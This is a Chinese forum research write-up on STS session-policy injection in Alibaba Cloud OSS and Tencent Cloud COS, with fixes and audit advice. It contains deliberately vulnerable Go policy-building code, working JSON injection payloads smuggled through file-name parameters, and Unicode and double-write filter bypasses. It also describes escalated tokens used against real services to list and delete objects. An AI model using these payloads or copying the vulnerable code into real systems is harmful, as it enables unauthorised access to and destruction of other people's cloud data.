找回密码
立即注册
搜索
发回帖 发新帖

6426

积分

0

好友

812

主题
发表于 2 小时前 | 查看: 5| 回复: 0

最近顺着云上身份与凭据边界的攻击面,复现了一类通过文件名、接口入参等可控字段篡改 STS 令牌下发逻辑的问题。借助 STS Policy 注入获取高权限临时令牌,攻击者可以在业务侧把原本收窄的对象上传权限扩大,进而触发云上高危漏洞。

国内相关研究文章偏少,本文从 AK/SK、STS 的基础原理讲起,配合本地靶场与真实业务案例,梳理整套攻防思路。

一、先从一个最熟悉的注入说起:SQL 注入

讲 STS Policy 注入之前,先回到所有人都见过的 SQL 注入。它的本质,其实是用户输入的数据被当成数据库代码执行,也就是 输入流入侵到了控制流 的过程。

后端如果这样写:

SELECT * FROM uploads WHERE owner = '{input}';

开发者心里,input 只是一个字符串值。正常输入 alice 时,数据库看到:

SELECT * FROM uploads WHERE owner = 'alice';

但当 input 变成 alice' OR '1'='1,前面的单引号先把原字符串闭合,后面的内容就进入了 SQL 语法。数据库最终看到的是一个永真条件:

SELECT * FROM uploads WHERE owner = 'alice' OR '1'='1';

记住这条数据流:

用户输入 → 字符串拼接 → 某门语言的源码 → 解释器 → 改变了语义

历史上的很多漏洞都遵循这个过程,例如 SSTI 模板注入:输入进入 Freemarker、Velocity、Jinja2 的模板语法,${} 或 #{} 之间的内容被模板引擎当代码渲染,变成 RCE;再比如 Log4Shell:输入字符串里带 ${jndi:...},本该只是一行日志,却被 Log4j 当成查找指令触发 JNDI 加载,最终 RCE。

所以只要能找到输入流与控制流之间的关系,就能更准确地挖掘漏洞。

二、STS 到底是个什么东西?

很多人在挖洞时看到的 STS 凭证通常是 AK、SK,再加一个 Token,长这样:

阿里云 STS 临时凭证抓包示例

测试时,大家一般会尝试能不能 ../../../,或者直接调用一些现有安全工具对下发的 STS 凭证做利用。但在深入挖掘之前,还是要先理解 STS 本身。

可以看一下云厂商文档对 STS 的介绍:

腾讯云 STS 临时访问权限管理简介

STS 全称 Security Token Service,即安全令牌服务。早期存储桶刚出来时,很多开发做文件上传,喜欢把 AccessKey Secret 硬编码在前端。后来通过 Hae、Yakit 等工具,可以较容易地扫描此类密钥,互联网上关于 AK/SK 的利用工具也层出不穷。

因此云厂商后来统一推荐用 STS:由可信后端保管长期凭证,或者通过 RAM 角色获取调用 STS 的权限,再针对当前这一次上传签发一组临时凭证。这组凭证的有效期可以很短,权限也可以通过会话 Policy 进一步收窄,比如只允许向指定存储桶、指定目录,甚至指定对象上传文件。

这样一来,长期 AK/SK 就不需要进入前端;即使临时凭证意外泄露,攻击者能够利用的时间和权限范围也都比较有限。

如果还不好理解,可以看一个常见业务场景:工单附件、客服图片、头像、竞赛作品上传。把长期 AccessKey 放进浏览器是不可能的,正常做法是:

  1. 用户登录业务系统;
  2. 浏览器要传文件时,先向业务后端申请一份短期凭证;
  3. 业务后端用自己的长期身份,向云厂商申请一枚 15 分钟的临时凭证;
  4. 浏览器拿着这枚临时凭证,直接把文件传到对象存储。

后端签发浏览器直传流程图

三、一个简单的输入流入侵控制流案例

放到代码上,可以手搓一个真实业务环境。先看官网 API 文档示例:

阿里云 RAM 用户访问 OSS 文档

这里需要先创建一个 RAM 用户,拿到 AccessKey ID 和 AccessKey Secret。权限策略大致如下:

{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "oss:PutObject",
      "Resource": "acs:oss:*:*:examplebucket/exampledir/*"
    }
  ]
}

其中:

  • Statement 是具体的授权规则列表;
  • Effect 表示规则效果,常见取值有 Allow 和 Deny;
  • Action 表示动作,oss:PutObject 就是写入对象,oss:ListObjects 就是列举对象;
  • Resource 表示权限可以作用在哪些资源上。

oss:PutObject 可以拆开看:

oss : PutObject
│       │
│       └── 具体操作:写入对象
└────────── 云服务:对象存储 OSS

比如允许写入:

exampledir/avatar.png
exampledir/report.pdf
exampledir/2026/07/demo.txt

Resource 也可以拆开:

acs : oss : * : * : examplebucket / exampledir/*
│      │     │   │         │              │
│      │     │   │         │              └─ 对象名称前缀
│      │     │   │         └──────────────── Bucket 名称
│      │     │   └────────────────────────── 阿里云账号范围
│      │     └────────────────────────────── 地域 region
│      └──────────────────────────────────── 云服务
└──────────────────────────────────────────── 阿里云资源名称前缀

那为什么不能直接做任意对象读取?

在传统文件系统中,exampledir/../../target.txt 会被路径解析函数归一化,可能逃出原目录。但 OSS 使用的是 Object Key,不是真实文件路径。阿里云官方明确说明,OSS 本身没有传统文件系统的文件夹概念,只是通过 Key 中的 / 模拟目录效果。

所以在 OSS 语义中,exampledir/../../target.txt 通常表示的就是一个完整 Key:

Key = "exampledir/../../target.txt"

它不会自动变成 target.txt。如果会话 Policy 是:

{
  "Resource": "acs:oss:*:*:examplebucket/exampledir/*"
}

那么 exampledir/../../target.txt 即使被接受,仍然只是一个以 exampledir/ 开头的 Key,并不会因此覆盖 Bucket 根部真正名为 target.txt 的对象。

简单来说,无论你在客户端怎么传,到了调用时它还是以字符串形式传入,并没有从输入流入侵到控制流。

那么哪些情况下会真的出现跨范围写入?

这里可以很容易理解一个案例:

从数据包中提取 File Key 值

前端请求中存在一个 fileKey 参数,值类似:

/2025-05-21/xxxx.xlsx

如果服务端没有自行生成 Object Key,而是直接使用前端提交的 fileKey 构造 STS 会话 Policy,那么攻击者就可以尝试把其中的日期前缀修改成其他日期,例如 2025-05-20/xxx.xlsx。如果后端没有校验这个日期前缀是否属于当前用户,就可能据此生成一段新的 Resource 权限。

假设 RAM 角色本身拥有整个 Bucket 的写入权限,那么角色权限与这份会话 Policy 取交集后,新签发的 STS Token 就会获得对 /2025-05-20/* 的 PutObject 权限。

随后攻击者便可以向其他日期前缀写入文件。如果同时可以控制完整 Object Key,并指定一个已经存在的对象名称,在未开启版本控制的情况下,还可能覆盖原有对象。

这里的关键并不是 ../../ 路径穿越,而是前端提交的 fileKey 影响了后端生成的 Resource。换句话说,攻击者通过修改一个普通业务参数,改变了 STS Token 最终获得的资源范围。

如果 RAM 角色的权限上限已经在服务端限制为:

acs:oss:*:*:examplebucket/2025-05-21/*

那么即使前端把日期改成 2025-05-20,后端也生成了对应的会话 Policy,这部分权限仍然不在角色的授权范围内。由于最终权限取角色策略与会话 Policy 的交集,STS Token 对 2025-05-20/* 的写入权限不会生效,实际上传时会被 OSS 拒绝。

修复方式也很简单:服务端先根据当前登录身份校验对象归属,再由服务端决定 Object Key,前端提交的文件名不参与权限判断。例如使用 /xxxxxUserId/touxiang.png,上传时后端取认证上下文里的用户 ID 拼接;或者使用随机字符串加文件名。实际业务中修复方案有很多,云厂商也提供了兜底策略:

OSS Java SDK 禁止覆盖同名文件文档

补充学习即可,OSS 的 PutObject 支持:

x-oss-forbid-overwrite: true

OSS 同名文件覆盖问题社区讨论

四、从输入流入侵控制流再到云 Policy 注入全过程

按照云文档逻辑,先创建一个权限策略:

阿里云 RAM 权限策略详情

名字叫 StsPolicyArticleBucketAccess20260725,赋权 OSS。

一般业务都会这么配置:

阿里云权限策略列表操作资源

资源串拆开看:

acs:oss:*:*:sts-policy-article-20260725-7f3a
│   │   │ │                   │
│   │   │ │                   └── Bucket 名称
│   │   │ └────────────────────── 阿里云账号 ID
│   │   └──────────────────────── 地域
│   └──────────────────────────── 对象存储 OSS
└──────────────────────────────── 阿里云资源名称前缀

也就是说,当前角色拥有对 sts-policy-article-20260725-7f3a 这个 Bucket 执行 ListObjects 的权限,同时拥有对 Bucket 内对象执行 PutObject 和 GetObject 的权限。

真实业务中,为了满足不同接口的使用需求,一个 RAM 角色往往会被配置一份范围相对较大的权限。例如负责文件管理的角色可能需要读写整个业务 Bucket。但是,这份角色权限只是 STS Token 所能获得的权限上限,并不代表每次签发的临时凭证都应该继承全部权限。

服务端在调用 AssumeRole 时,还可以再传入一份会话 Policy,把本次 STS Token 的权限继续往小压。最终权限取 RAM 角色权限与会话 Policy 的交集:

STS Token 最终权限 = RAM 角色权限 ∩ 会话 Policy

按我的理解,可以把这个过程类比成:你爸爸手里一共有 100 元,这 100 元就是 RAM 角色拥有的权限上限。虽然你们是一家人,但这不代表你自动拥有 100 元的支配权。你这次到底能花多少钱,还要看他实际给了你多少额度,这个额度就相当于会话 Policy。

如果他说这 100 元都可以花,那你最多可以花 100 元;如果他说只能花 50 元,剩下的 50 元要留着买菜,那你这次能支配的就只有 50 元。反过来,如果会话 Policy 写着你可以花 200 元,但你爸爸手里总共只有 100 元,那你最终还是只能花 100 元,因为会话 Policy 只能在角色原有权限内做减法,无法突破角色本身的权限上限。

因此:

爸爸拥有的总金额 = RAM 角色权限
这次给你的消费额度 = 会话 Policy
你最终可以花的钱 = 两者的交集

如果会话 Policy 配置得过大,而 RAM 角色本身又拥有整个 Bucket 的读写权限,那么本次签发的 STS Token 就可能继承角色的全部权限,这也是很多 STS 越权问题产生的原因。

创建好权限策略后,再创建一个角色:

阿里云 RAM 角色权限配置文档

这里是用 RAM 用户扮演 RAM 角色,所以直接把创建好的用户继承之前创建好的权限即可:

阿里云 RAM 角色详情与权限列表

代码案例

互联网企业主流是 Java 和 Go,本文使用 Go 语言做代码演示。

真实业务场景中,一般不会对 Policy 生成的 STS 做 ListObjects 权限,通常只给 Put 和 Get 权限:

Go Provider 接口与脆弱 Policy 构造代码

核心代码如下:

func aliyunVulnerablePolicy(bucket, fid string) string {
    return fmt.Sprintf(
        `{"Version":"1","Statement":[{"Effect":"Allow","Action":["oss:GetObject","oss:PutObject"],"Resource":["acs:oss:*:*:%s/%s"]}]}`,
        bucket, fid)
}

前端可以控制上传的文件名来拿到 STS,同时通过 STS 和文件内容完成上传:

STS 注入测试界面与抓包结果

这也是很多正常场景能够获取到的值:

正常 STS 临时凭证抓包结果

通过阿里云 SDK 对当前 STS 获取到的权限做分析,发现仅拥有对 xingzhi666.png 的文件上传权限:

本地阿里云 OSS SDK 验证结果

通过获取到的 STS,也不能直接对 OSS Browser 拥有登录权限:

OSS Browser 登录失败提示

继续看代码:

Go HTTP STS 端点实现

在获取 /api/v1/sts 路由传过来的 fullPathFid 参数后,发送给 AssumeRole(fullPathFid):

阿里云 Provider AssumeRole 实现

这里发现并没有对传递进来的内容做任何限制,而是继续传递到了下一层 provider.go:

Provider 接口与脆弱 Policy 拼接

第一个参数是 Bucket 名称,不可控;第二个参数是 fullPathFid,也就是文件名,此时文件名可控。最后的数据流转过程如下:

main.go:77 读取文件名
↓
main.go:87 p.AssumeRole(fid)
↓
aliyun.go:24 生成 Policy
↓
provider.go:38-41 fmt.Sprintf 拼接 fullPathFid
↓
aliyun.go:38 Policy 放入 AssumeRoleRequest
↓
aliyun.go:40 调用 STS AssumeRole
↓
aliyun.go:45-55 返回临时 STS 凭证

还记得之前反复提到的点:我们要找的是输入流可以入侵控制流的过程。

原始 Policy 模板如下:

{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "oss:GetObject",
        "oss:PutObject"
      ],
      "Resource": [
        "acs:oss:*:*:%s/%s"
      ]
    }
  ]
}

既然最后一个 %s 可控,那是不是可以注入写成:

{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "oss:GetObject",
        "oss:PutObject"
      ],
      "Resource": [
        "acs:oss:*:*:存储桶的名字/x"
      ],
      "Action": [
        "oss:ListObjects"
      ],
      "Resource": [
        "acs:oss:*:*:存储桶的名字"
      ]
    }
  ]
}

把 Payload 拿出来就更清楚了。Payload 会被放进原始 Policy 模板中第二个 %s 对应的位置。原始代码是:

func aliyunVulnerablePolicy(bucket, fid string) string {
    return fmt.Sprintf(
        `{"Version":"1","Statement":[{"Effect":"Allow","Action":["oss:GetObject","oss:PutObject"],"Resource":["acs:oss:*:*:%s/%s"]}]}`,
        bucket, fid)
}

假设:

bucket = BUCKET
fid = x"],"Action":["oss:ListObjects"],"Resource":["acs:oss:*:*:*

拼接后大致会变成:

{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "oss:GetObject",
        "oss:PutObject"
      ],
      "Resource": [
        "acs:oss:*:*:BUCKET/x"
      ],
      "Action": [
        "oss:ListObjects"
      ],
      "Resource": [
        "acs:oss:*:*:*"
      ]
    }
  ]
}

这里需要先理解几个基本概念:Action 代表允许执行的操作,Resource 代表这些操作可以作用的资源。原来的代码只配置了:

{
  "Action": [
    "oss:GetObject",
    "oss:PutObject"
  ]
}

阿里云 OSS 只读与写入权限 JSON 片段

正常情况下,这份 Policy 只允许读取和上传对象,并没有 oss:ListObjects 权限。

但现在,把文件名参数当作 Payload 传入:

x"],"Action":["oss:ListObjects"],"Resource":["acs:oss:*:*:*

其中:

  • x"] 用于闭合原来 Resource 数组中的字符串和数组;
  • ,"Action":["oss:ListObjects"] 用于追加新的 Action 字段;
  • ,"Resource":["acs:oss:*:*:* 用于追加新的 Resource 字段,并扩大资源范围;
  • 原始模板后面剩余的 "]}]} 继续补全整个 JSON 结构。

因此,问题并不是修改了 Go 源码中的 Action,而是通过文件名参数注入,让原本只应作为数据使用的 fid 参与了 Policy JSON 的生成。后端随后把这段拼接结果交给阿里云 SDK,SDK 再调用 STS 的 AssumeRole 接口申请临时凭证。

最终 URL 编码后的 Payload 变成:

?fid=x%22%5D%2C%22Action%22%3A%5B%22*%22%5D%2C%22Resource%22%3A%5B%22*

这里出现了重复键 Action。绝大多数 JSON 解析器对重复键采用“后者覆盖”,于是这条 Statement 的 Action 最终是 ["*",""],Resource 是 [bucket/*, *],仍然是一条 Statement,但权限已经被放大到“任意动作、任意资源”,当然最终仍受角色上限约束。

所以 Policy 注入和 SQL 注入本质同构:边界字符从单引号换成双引号、方括号、花括号;解释器从 SQL parser 换成 JSON parser 与云端授权。修复思路也一样:数据保持数据,不让它参与语法生成。

SQL 注入与 Policy 注入根因对比

漏洞验证

使用 Policy 注入得到的高权限 STS 接管存储桶:

OSS Browser 临时凭证登录界面

使用高权限 STS 列桶:

OSS Browser 文件目录列表

这里需要注意的是,当前权限仍然受 Action 上限约束,没有办法对文件进行删除。不过真实环境中一般还会给 RAM 控制台、文件管理等权限:

OSS Browser 删除目录失败提示

复盘一下链路

浏览器 GET /api/v1/sts?fullPathFid=X
→ 后端 handler
→ provider.go 的 aliyunVulnerablePolicy(bucket, X) 把 X 拼进 Policy JSON
→ 把这段 Policy 作为 Policy 参数传给 STS SDK 的 AssumeRole
→ SDK 把它 URL 编码 + HMAC 签名,发 HTTP GET 到
  https://sts.aliyuncs.com/?Action=AssumeRole&...&Policy=<urlencode>&Signature=...
→ STS 返回临时凭证(AccessKeyId/Secret/SecurityToken/Expiration + RequestId)
→ 后端把临时凭证交给浏览器
→ 浏览器用临时凭证 PUT 到对象存储

所以“拼接后的语句”经过的是:后端代码 → SDK → 一条签名后的 HTTP GET,Policy 位于 query 中 → STS。

终端日志中可以看到:

[AssumeRole] provider=aliyun fullPathFid="*\",\"*\"],\"Action\":[\"*\",\""
拼接后发给 STS 的 Policy: {"Version":"1","Statement":[{"Effect":"Allow","Action":["oss:PutObject"],"Resource":["acs:oss:*:*:sts-policy-article-20260725-7f3a/*","*"],"Action":["*",""]}]}
(经 SDK 签名为 HTTP 请求发往 STS)

STS AssumeRole 终端日志

五、其他云是否也可以这么利用?

看一下腾讯云的相关逻辑。整体区别不大,只是在 Policy 申请上有些细微差别。

先看 API 文档:

腾讯云 STS AssumeRole 文档

申请临时凭证时,需要跟上用户 ID:

腾讯云 STS 参数说明

其余跟着文档走即可:

腾讯云 CAM 操作 Action 语法

先配置一个策略:

腾讯云 CAM 策略详情

赋予多个权限:

腾讯云 COS 策略 JSON

这里与阿里云唯一不同的是,我配置 Action 为更宽的范围:

腾讯云策略摘要允许服务列表

之后创建角色,然后在 Policy 后端对权限进行收缩,确保只有 PutObject 和 GetObject 权限:

腾讯云子用户权限策略

代码其实并不需要大改:

腾讯云 COS STS 注入测试界面

后端代码为:

func tencentVulnerablePolicy(region, appID, bucket, fid string) string {
    return fmt.Sprintf(
        `{"version":"2.0","statement":[{"effect":"allow","action":["cos:GetObject","cos:PutObject"],"resource":["qcs::cos:%s:uid/%s:%s/%s"]}]}`,
        region, appID, bucket, fid)
}

注入的 Payload 为:

uploads/alice/x.txt"]},{"effect":"allow","action":["*"],"resource":["*

腾讯云 COS 的资源格式通常写成:

qcs::cos:<region>:uid/<appId>:<bucket>/<object-key>

例如:

qcs::cos:ap-guangzhou:uid/1320513951:BUCKET/uploads/alice/x.txt

腾讯云 COS 的 Resource 通常需要使用包含地域、AppID、Bucket 和 Object Key 的完整 qcs 格式。不过经过实测,腾讯云 STS 也接受 Resource:["*"] 这种通配资源写法。因此,在当前字符串拼接模板下,可以将 Payload 缩短为:

uploads/alice/x.txt"]},{"effect":"allow","action":["*"],"resource":["*

该 Payload 先闭合原有的第一条 Statement,再追加一条 Action:*、Resource:* 的新 Statement。腾讯云 STS 实际接受了这份 Policy,返回结果中包含两条 Statement。最终权限仍然受到 CAM 角色权限上限和其他显式拒绝策略的约束。

最终可以变成:

{
  "version": "2.0",
  "statement": [
    {
      "effect": "allow",
      "action": [
        "cos:GetObject",
        "cos:PutObject"
      ],
      "resource": [
        "qcs::cos:ap-guangzhou:uid/1320513951:BUCKET/uploads/alice/x.txt"
      ]
    },
    {
      "effect": "allow",
      "action": [
        "*"
      ],
      "resource": [
        "*"
      ]
    }
  ]
}

这里需要注意:腾讯云会拒绝重复键。因此,腾讯云的做法不是在同一条 Statement 中重复写一个 action,然后等待后者覆盖前者,而是先把原来的 Statement 关闭,再追加一条全新的 Statement。statement 本身就是一个数组,数组里的每个对象就是一条独立的授权语句,所以第二个 {"effect":"allow", ...} 直接作为 statement 数组的第二个元素即可。如果再嵌套一层 "statement",就会改变策略结构,通常会导致格式错误或被云厂商拒绝。

六、真实业务下的 STS 权限注入

STS 提权导致的文件覆盖

从抓包中可以看到返回内容带有加密:

加密 STS 凭证抓包分析

使用 AI 分析这个加密,很快就可以解出来:

Python 脚本上传 OSS 对象

随后可以利用提升权限后的 STS,对 Resource 里其他用户的对象进行覆盖。没有提升权限的 STS 则没有这个权限。

STS 提权导致的列桶

上传文件处点击抓包:

上传文件点击抓包界面

这里存在一个 Policy 注入,后面的 Policy 会把前面的覆盖掉,相当于拿到了这个桶的更完整权限。调用 SDK 就可以看到 ListObject key:

请求与响应中的临时凭证字段

SDK 列举对象运行结果

这个 SDK 可以获取全部 key,删除也没有问题:

删除对象 NoSuchKey 响应

这个 key 会被删除,配合 ListObject key 就可以直接清空桶的内容:

TOS SDK 上传对象运行结果

覆盖也没有问题。配合 ListObjects,就可以覆盖别人的文件内容,但为了不影响业务,这里不执行覆盖操作。

七、不同厂商的 Payload 为什么不一样

第一个区别:注入点不同

阿里云的模板类似:

`{"Version":"1","Statement":[{"Effect":"Allow","Action":["oss:GetObject","oss:PutObject"],"Resource":["acs:oss:*:*:%s/%s"]}]}`

用户输入位于:

acs:oss:*:*:BUCKET/<fullPathFid>

腾讯云的模板类似:

`{"version":"2.0","statement":[{"effect":"allow","action":["cos:GetObject","cos:PutObject"],"resource":["qcs::cos:%s:uid/%s:%s/%s"]}]}`

用户输入位于:

qcs::cos:REGION:uid/APP_ID:BUCKET/<fullPathFid>

两边都是把输入放进 Resource,但前后的固定内容不一样。因此,同一个 Payload 字节放进去后,生成的 JSON 结构也会不同。

第二个区别:字段大小写不同

阿里云 Policy 使用:

{
  "Version": "1",
  "Statement": [],
  "Effect": "Allow",
  "Action": [],
  "Resource": []
}

腾讯云 COS 使用:

{
  "version": "2.0",
  "statement": [],
  "effect": "allow",
  "action": [],
  "resource": []
}

因此,阿里云的注入片段要写:

"Action":["*"],"Resource":["*

腾讯云则要写:

"action":["*"],"resource":["*

如果大小写写错,Policy 可能被当成未知字段,或者直接被 API 拒绝。

第三个区别:重复键的处理不同

阿里云接受类似这样的结构:

{
  "Action": ["oss:GetObject"],
  "Action": ["*"]
}

在本次验证中,后出现的 Action 被采用,所以只需要在原来的 Statement 中追加重复键,最终仍然只有一条 Statement。

腾讯云的情况不同。类似结构会触发:

Policy have duplicate key: action

因此腾讯云不能沿用阿里云的“重复键覆盖”路线,而要改成新增 Statement:

{
  "statement": [
    {
      "action": ["cos:PutObject"],
      "resource": ["OBJECT_KEY"]
    },
    {
      "action": ["*"],
      "resource": ["*"]
    }
  ]
}

这就是为什么腾讯云 Payload 会比阿里云 Payload 多出 "]},{",它的作用是结束第一条 Statement,并开始第二条 Statement。

这里不再多说,直接去云厂商编辑一下策略就能明白:

阿里云 RAM 策略脚本编辑

第四个区别:Resource 是否需要写完整资源串

如果想把权限限制在当前 Bucket,一般写完整的 COS Resource:

qcs::cos:REGION:uid/APP_ID:BUCKET/*

这种写法粒度比较明确,但 Payload 很长。

如果当前腾讯云 STS API 接受:

{
  "resource": ["*"]
}

那么可以使用更短的 Payload:

uploads/alice/x.txt"]},{"effect":"allow","action":["*"],"resource":["*

这两个 Payload 的区别只是 Resource 范围不同。qcs::cos:REGION:uid/APP_ID:BUCKET/* 表示当前 Bucket 下的对象范围,而 * 表示更宽的资源通配范围。

不过,Resource:* 并不自动等于拿到所有云资源。STS 最终权限仍然需要和 CAM 角色权限取交集。如果角色只有 COS 上传权限,注入后仍然只会在这个上限内生效;如果角色同时拥有 CVM、COS 管理或其他服务权限,实际影响面就会更大。Action:* 与 Resource:* 只是请求的权限集合,不会超出角色上限。

第五个区别:Statement 数量只是结构差异

阿里云的 Payload:

Statement 数量:1

腾讯云的短 Payload:

Statement 数量:2

阿里云依赖重复键,所以一条 Statement 就能覆盖字段;腾讯云拒绝重复键,所以要新增 Statement。单纯传入 * 时,甚至可以保持一条 Statement,只把 Resource 放宽到 BUCKET/*。

真正需要检查的是每条 Statement 的:

Effect
Action
Resource
Condition

八、绕过链:从 Policy 修复到 Unicode 二次注入

这里感谢朋友提供的案例。在平台显示修复后,可以尝试先问 AI 可能的修复方式。因为之前已经知道厂商喜欢用 Go 作为主语言开发,返回头也有具体版本,因此本地搭建环境尝试进行绕过。

AI 给出的例子是:

Go weakSanitize 修复代码

func weakSanitize(input string) string {
    for _, token := range []string{"*", "Action", "{", "}"} {
        input = strings.ReplaceAll(input, token, "")
    }
    return input
}

开发喜欢这么修复:

strings.ReplaceAll(input, "*", "")
strings.ReplaceAll(input, "Action", "")
strings.ReplaceAll(input, "{", "")
strings.ReplaceAll(input, "}", "")

对字符串去做替换,确实可以修复。但我们学过 SQL 注入,知道有一个东西叫双写绕过。因此可以尝试用 SQL 注入的双写思路绕过。原本的 Payload 可以替换成:

Action → ActACtionion
{ → {{

也可以利用 Unicode 绕过。\u002a 是 JSON 标准中的 Unicode 转义写法,绝大多数主流语言的 JSON 解析器都会把它解析成 *。

{
  "action": ["\u002a"]
}

解析后通常等价于:

{
  "action": ["*"]
}

这一点属于安全基础,不多解释。

也可以去云厂商 Debug 验证。随便输入一个不存在的 Unicode,会提示不正确:

阿里云 RAM 策略 Action 格式错误

输入 * 编码后的 Unicode 则可以通过:

阿里云 RAM 策略 Unicode 通配符

阿里云 RAM 策略 v2 权限摘要

因此朋友后面又靠绕过特殊字符拿到了高危。Payoad 如:

uploads/alice/x.txt"],"\u0041ction":["\u002a"],"\u0052esource":["\u002a
uploads/alice/x.txt"],"\u0061ction":["\u002a"],"\u0072esource":["\u002a

等 JSON 解析完成后,才会还原成真正的字段名和通配符。用于闭合原始 Resource 字符串的 " 仍需保留。

九、为什么输入 * 不能列桶?

有小伙伴问:既然输入流可以入侵控制流,为什么在配置了 ListObjects 权限的时候,用 * 当文件名不会列桶?

这一节需要先区分两个概念:对象级权限扩大,以及 Bucket 级列举权限。

假设开发人员配置了如下 Policy:

{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "oss:GetObject",
        "oss:PutObject",
        "oss:ListObjects"
      ],
      "Resource": [
        "acs:oss:*:*:BUCKET/*"
      ]
    }
  ]
}

其中:

  • oss:GetObject:读取对象;
  • oss:PutObject:写入对象;
  • oss:ListObjects:列举 Bucket 中的对象。

其中,GetObject 和 PutObject 通常针对对象资源,而 ListObjects 通常是 Bucket 级操作。因此,不能只看 Action 列表,还要同时检查每个动作对应的 Resource 是否符合云厂商的权限模型。

假设服务端使用下面的模板:

resource := fmt.Sprintf(
    "acs:oss:*:*:%s/%s",
    bucket,
    fullPathFid,
)

传入 123.png,得到:

acs:oss:*:*:BUCKET/123.png

这个 Resource 通常只匹配一个对象。此时可以测试 GetObject 和 PutObject 是否限制在该对象范围内。

但不能简单地说“对 123.png 拥有 ListObjects 权限”。ListObjects 通常要求 Bucket 级 Resource,常见形式是:

acs:oss:*:*:BUCKET

而不是:

acs:oss:*:*:BUCKET/123.png

如果云厂商不接受对象级 Resource 绑定到 ListObjects,列举请求会返回 AccessDenied。

把文件名改成 * 会发生什么?

传入 *,服务端会生成:

acs:oss:*:*:BUCKET/*

但 ListObjects 是 Bucket 级的列举操作,不是针对某个单独对象的读取操作,因此不能像 GetObject 一样,把权限精确收缩到 BUCKET/uploads/alice/123.png。

这里我测试的结果是其实会报错。列举授权通常是 Bucket 级;请求可携带 prefix 只返回某个前缀。prefix 是结果过滤参数,不等于 Policy 把 ListObjects 收缩到单个对象。

要让 STS 真正执行列桶,通常需要同时满足:

  • Action 中包含 oss:ListObjects;
  • Resource 使用云厂商要求的 Bucket 级格式;
  • RAM 角色本身允许该动作;
  • 没有显式 Deny;
  • 请求的 Bucket、地域和 Endpoint 正确。

更清晰的 Policy 应拆成对象级和 Bucket 级两条 Statement:

{
  "Version": "1",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "oss:GetObject",
        "oss:PutObject"
      ],
      "Resource": [
        "acs:oss:*:*:BUCKET/uploads/alice/123.png"
      ]
    },
    {
      "Effect": "Allow",
      "Action": [
        "oss:ListObjects"
      ],
      "Resource": [
        "acs:oss:*:*:BUCKET"
      ]
    }
  ]
}

但如果所有上传请求都直接获得第二条 Statement,那么普通用户无需输入 *,申请一次正常 STS 就可能列桶。这属于上传凭证权限配置过宽,相当于直接拿 STS 探测权限就能发现,无论输入什么,它都有这个权限。

所以在输入 * 的时候,它并不是被当作资源通配符去解析,也就不存在列桶的问题。

十、总结

STS Policy 注入的价值,其实仍然在于“输入流入侵控制流”这个老问题。当文件名、目录、扩展名、Object Key 等原本只应作为业务数据使用的参数,跨越数据边界进入 JSON Policy、模板、命令或查询语句时,它们就可能改变原本的授权语义。最终造成的未必都是传统意义上的代码执行,也可能是动作范围扩大、资源范围扩大、跨目录访问、对象覆盖,甚至临时凭证权限提升。

审计 STS 相关接口时,重点不只是看有没有下发临时凭证,而是要继续思考:

  • 用户输入最终进入了哪里?
  • 服务端生成了怎样的 Action、Resource、Condition 和 Object Key?
  • 角色上限是什么?
  • 这份临时凭证在数据面实际可以做什么?

漏洞根因相同:用户输入进入 Policy 语法;注入目标相同:扩大 Action 或 Resource;实现路径不同:适应各自的 Policy 解析规则。

阿里云当前路径可以概括为:

闭合字符串 → 重复键覆盖 → Statement=1

腾讯云当前路径可以概括为:

闭合字符串 → 新增 Statement → Statement=2 或 3

因此,换云时不能只替换 oss 和 cos 这两个动作前缀,还需要重新确认:

  • Policy 字段大小写;
  • Resource 格式;
  • Action 前缀;
  • 重复键是否被接受;
  • Resource:["*"] 是否被接受;
  • 原始模板尾部需要如何补齐;
  • CAM 或 RAM 角色自身的权限上限。

感谢 weiwei、zer0one、Clown、知名小朋友等师傅在案例、思路和测试细节上提供的帮助。

参考文献

[1] 《STS 身份注入攻击》 https://mp.weixin.qq.com/s?__biz=MzI0MTc0NjQyMQ==&mid=2247483858&idx=1&sn=66ee2fb04efd60fd8199af869e7509e9&scene=21#wechat_redirect

[2] 阿里云 RAM:AssumeRole API https://help.aliyun.com/zh/ram/developer-reference/api-sts-2015-04-01-assumerole

[3] 阿里云 RAM:权限策略基本元素 https://help.aliyun.com/zh/ram/user-guide/policy-elements

[4] 腾讯云 CAM:策略语法 https://cloud.tencent.com/document/product/598/10603

[5] AWS IAM:Session Policies https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html#policies_session

[6] AWS STS:AssumeRole API https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html




上一篇:REA 21万星实测:JS 语义引擎是干货,.NET 2000 方法就翻车
下一篇:Anatomy 图解万物爆火:动画很酷但为什么还是看不懂
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-10-18 02:20 , Processed in 0.149400 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表